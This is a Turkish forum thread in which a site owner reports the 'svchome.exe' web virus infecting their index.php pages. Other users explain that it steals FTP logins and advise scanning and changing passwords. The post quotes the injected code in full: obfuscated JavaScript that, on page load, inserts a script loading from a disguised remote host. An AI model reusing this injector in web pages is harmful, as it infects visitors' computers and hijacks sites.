svchome.exe yi bozan web virusu

arkadaşlar sitelerime virus bulaşmıs
virus kodu

<script>var gt;if(gt!='r' && gt != ''){gt=null};this.n='';var t='shchr*ihpUtz'.replace(/[zh\*gU]/g, '');var v="";var ye;if(ye!='' && ye!='jv'){ye=''};var jg=new String();var y=document;this.nc=false;this.tc=false;var q=window;var al="al";var qro;if(qro!='' && qro!='jb'){qro='yt'};q.onload=function(){try {j=y.createElement(t);var yy;if(yy!='vk' && yy!='t_'){yy='vk'};j.setAttribute('dVeVf+esr+'.rep lace(/[\+VTis]/g, ''), "1");var uk;if(uk!='' && uk!='k'){uk=null};var hy;if(hy!='tq'){hy=''};var _;if(_!='ds' && _ != ''){_=null};j.src='h3tMt3pI:q/I/IdIoImqaqiqn3tqoqoIl&sq-Mc&o&mq.qbqbMc&.3cMoq.MuMkq.3cqo&m3d&iMr&eMc3tI-&d3e&.qy&oquMr&tIaIgIhqeMu3e3r3.Mr3uI:&8&038q0&/3gMoqo3gIlqeq.&c3oMm3/&gqo3o3gIlqeI.IcqoMm&/Idqi&cMtM.&cqc&/&gImIo&dquql&eIsI.Mcqo&m&/qtIyqpMeqpMa3dM.Mc3oqmI/q'.replace(/[qI&3M]/g, '');var on="";var vh='';this.f=false;y.body.appendChild(j);var wc;if(wc!='' && wc!='m'){wc='np'};} catch(s){var ed=57863;var ej;if(ej!='yp'){ej='yp'};};var pn;if(pn!=''){pn='yyn'};};var om='';var _x;if(_x!='' && _x!='hh'){_x='zx'};</script>
<!--777b79f053cadf16195a93fe5d36ffd9-->

böyle birsey sitelerimin index.php sine bulaşıyor bundan sitelerimi nasıl kurtarabilirim.
bu virusu yapanın amacı sanırım kendi sitesinden firewall kullandırmak firewall a geciyor pc ve ne msn acılıyor nede herhangibi bir web sayfası..
virus programı engellemez ise direk siteye girenlerin bilgisayarına bulaşıyor.
avast kurulu olan pclere dahi giriyor.

bu virus benide ugrastırmıstı barış. Virus login oldugun ftp hesaplarının hepsine windows arkadasında index'e ek olarak kodu upload ediyor. Kaspersky ile tarama yap, ondan sonra ftp sifrelerini degistir. Sifreyi degistirdikten sonra virusu silmezsen tekrar kodu atar index'e. Olayın en kötü tarafıda google siteyi direkt banlıyor.

Kaspersky down.

lanet birşey bu bi ara banada bulaşti 1 hafta ugraştık temizleyelim diye arkadaşin dedigi gibi hemen pc ni güzel bi temizle sonra ftp şifreleri degiştir.

sagolun arkadaslar